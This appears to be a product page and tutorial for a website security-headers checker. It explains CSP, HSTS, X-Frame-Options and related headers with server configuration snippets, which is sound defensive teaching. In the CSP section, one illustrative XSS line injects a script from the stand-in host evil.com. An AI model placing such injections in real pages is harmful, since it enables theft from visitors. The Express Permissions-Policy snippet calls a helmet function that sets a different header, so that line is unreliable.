Skip to main content

Free Tool

Security Headers Checker

Enter any URL to instantly see which HTTP security headers it sends, which are missing, and what each absence means for your visitors. No account needed to view results.

Sign in with Google or GitHub to run the scan. Your first scan is free — no credit card required.

ZeriFlow Data — 12,400+ sites analyzed

The average website passes only 4 out of 11 security header checks. The most commonly missing headers are Content-Security-Policy (64% absent), Permissions-Policy (77% absent), and HSTS (59% absent).

The 6 Security Headers Every Website Needs

These headers are free to add, take minutes to configure, and directly block the attack vectors that still account for the majority of successful website compromises.

1. Content-Security-Policy (CSP)

CSP tells browsers which origins are allowed to load scripts, styles, images, fonts, and frames. If a resource is not explicitly allowed, the browser refuses to load it.

Without it: an attacker who finds an XSS vulnerability can inject <script src="https://evil.com/steal.js"> and your visitors' browsers will execute it without question.

Recommended value

Content-Security-Policy: default-src 'self'; script-src 'self' 'nonce-{random}'; style-src 'self' 'unsafe-inline'; img-src 'self' data: https:; frame-ancestors 'none'

Nginx

add_header Content-Security-Policy "default-src 'self';" always;

Next.js

// next.config.js
headers() {
  return [{
    source: '/(.*)',
    headers: [{
      key: 'Content-Security-Policy',
      value: "default-src 'self'"
    }]
  }]
}

Express

import helmet from 'helmet';
app.use(helmet.contentSecurityPolicy({
  directives: {
    defaultSrc: ["'self'"],
  }
}));

2. Strict-Transport-Security (HSTS)

HSTS instructs browsers to only connect to your domain over HTTPS for a specified duration — even if the user types http:// explicitly. Once a browser receives HSTS, it enforces it locally without making an HTTP request first.

Without it: SSL stripping attacks become possible. An attacker on the same Wi-Fi intercepts the initial HTTP request before any redirect and downgrades the connection, reading all traffic in plaintext.

Recommended value

Strict-Transport-Security: max-age=63072000; includeSubDomains; preload

max-age=63072000 = 2 years, required for HSTS Preload List submission. includeSubDomains extends protection to all subdomains.

Nginx

add_header Strict-Transport-Security "max-age=63072000; includeSubDomains; preload" always;

Next.js

{
  key: 'Strict-Transport-Security',
  value: 'max-age=63072000; includeSubDomains; preload'
}

Express

app.use(helmet.hsts({
  maxAge: 63072000,
  includeSubDomains: true,
  preload: true
}));

3. X-Frame-Options

Prevents your site from being embedded in an <iframe> on a third-party domain. This blocks clickjacking attacks, where an attacker overlays your site with a transparent iframe on top of a deceptive button.

Without it: a malicious site can load your banking portal or OAuth confirmation dialog in an invisible frame. When users click what they think is a harmless button, they are actually clicking controls on your site.

Note: frame-ancestors in CSP is the modern replacement. Set both for maximum compatibility across old and new browsers.

Recommended value

X-Frame-Options: DENY

Nginx

add_header X-Frame-Options "DENY" always;

Next.js

{
  key: 'X-Frame-Options',
  value: 'DENY'
}

Express

app.use(helmet.frameguard({
  action: 'deny'
}));

4. X-Content-Type-Options

Disables MIME type sniffing in browsers. Without this header, browsers may interpret a file differently than the declared Content-Type — specifically, they may execute content that was declared as a static file.

Without it: if your upload endpoint accepts files without strict type validation, an attacker can upload an HTML or JavaScript payload with a .png extension. The browser sniffs the real content type and executes it.

Only valid value

X-Content-Type-Options: nosniff

Nginx

add_header X-Content-Type-Options "nosniff" always;

Next.js

{
  key: 'X-Content-Type-Options',
  value: 'nosniff'
}

Express

app.use(helmet.noSniff());

5. Referrer-Policy

Controls how much information the browser includes in the Referer header when a user navigates from your site to an external URL. Without an explicit policy, the browser default leaks the full URL — including query parameters — to third-party analytics, advertising networks, and CDNs.

Without it: password reset tokens, session identifiers, or private document paths in your URLs are sent to every external resource your pages load — Google Fonts, analytics scripts, social widgets.

OWASP recommended value

Referrer-Policy: strict-origin-when-cross-origin

Sends the full URL only for same-origin requests. For cross-origin, sends only the origin (no path, no query string). Drops the header entirely for downgrades from HTTPS to HTTP.

Nginx

add_header Referrer-Policy "strict-origin-when-cross-origin" always;

Next.js

{
  key: 'Referrer-Policy',
  value: 'strict-origin-when-cross-origin'
}

Express

app.use(helmet.referrerPolicy({
  policy: 'strict-origin-when-cross-origin'
}));

6. Permissions-Policy

Replaces the older Feature-Policy header. Restricts which browser APIs — camera, microphone, geolocation, payment, interest cohort — can be used by your page and by any embedded iframes or third-party scripts.

Without it: any third-party script you load — an analytics tag, a chat widget, an ad network — can silently request access to the user's camera or location. With this header, you explicitly opt out of APIs you do not use.

Recommended restrictive value

Permissions-Policy: camera=(), microphone=(), geolocation=(), payment=(), interest-cohort=()

Empty parentheses () mean the feature is disabled for all origins including the page itself. Adjust if your site legitimately uses any of these APIs.

Nginx

add_header Permissions-Policy "camera=(), microphone=(), geolocation=()" always;

Next.js

{
  key: 'Permissions-Policy',
  value: 'camera=(), microphone=(), geolocation=()'
}

Express

app.use(helmet.permittedCrossDomainPolicies());
// or set header manually:
res.setHeader('Permissions-Policy', 'camera=(), microphone=()');

Common Mistakes We See in ZeriFlow Scans

Fail

CSP with unsafe-inline and unsafe-eval

Using unsafe-inline in script-src and unsafe-eval in script-src neutralizes XSS protection entirely. These keywords exist only to ease migration from legacy codebases — they are not a permanent solution. Nonce-based CSP or hash-based CSP are the correct approach.

Fail

HSTS without includeSubDomains

If your main domain enforces HTTPS but a subdomain does not, an attacker can set a cookie on the subdomain that gets sent to the main domain. HSTS without includeSubDomains leaves subdomain-based cookie injection possible.

Fail

X-Frame-Options set but frame-ancestors not in CSP

X-Frame-Options is honored by IE11 and old mobile browsers that ignore CSP. CSP frame-ancestors takes precedence in modern browsers but is silently ignored by old ones. Setting both gives you full coverage across all browser generations.

Fail

Permissions-Policy absent or empty

An empty Permissions-Policy header (no directives) is equivalent to no header at all. You must explicitly list the features you want to restrict. The absence of the header means all APIs are available to any script on the page.

Fail

Referrer-Policy left at browser default (no-referrer-when-downgrade)

The browser default sends the full URL to any HTTPS destination, meaning your page paths and query parameters are visible to every third-party HTTPS resource your pages include — analytics, fonts, advertising networks.

Frequently Asked Questions

faq

What are HTTP security headers?

HTTP security headers are response headers sent by your web server that instruct browsers how to behave when handling your site's content. They are a first line of defense against common attacks like XSS, clickjacking, and protocol downgrade attacks — and they require zero changes to your application code.

faq

Which security headers are most important?

The six most impactful security headers are: Content-Security-Policy (prevents XSS), Strict-Transport-Security (enforces HTTPS), X-Frame-Options (prevents clickjacking), X-Content-Type-Options (prevents MIME sniffing), Referrer-Policy (controls referrer leakage), and Permissions-Policy (restricts browser APIs). Content-Security-Policy is the most complex but also the most powerful.

faq

How do I add security headers to my website?

The method depends on your stack. On Nginx, use add_header directives in your server block. On Next.js, define a headers() function in next.config.js. On Express.js, use the Helmet middleware which sets sensible defaults. On Apache, use Header set directives in your .htaccess or virtual host config.

faq

Do security headers affect website performance?

No. Security headers are small strings added to HTTP responses. They add a few bytes of overhead at most and have no measurable impact on page load time. Content-Security-Policy can actually improve performance indirectly by blocking third-party scripts you didn't intend to load.

faq

What is the difference between X-Frame-Options and CSP frame-ancestors?

Both headers prevent your site from being embedded in iframes on other domains, but they are not equivalent. X-Frame-Options only supports DENY and SAMEORIGIN. CSP frame-ancestors supports wildcard and specific domain allowlisting, making it more flexible. For maximum browser compatibility, you should set both. CSP frame-ancestors takes precedence in modern browsers when both are present.

See All 80+ Security Checks

The security headers checker covers 11 checks. ZeriFlow's full scanner also covers TLS configuration, cookie security, DNS records, email authentication, and source code vulnerabilities.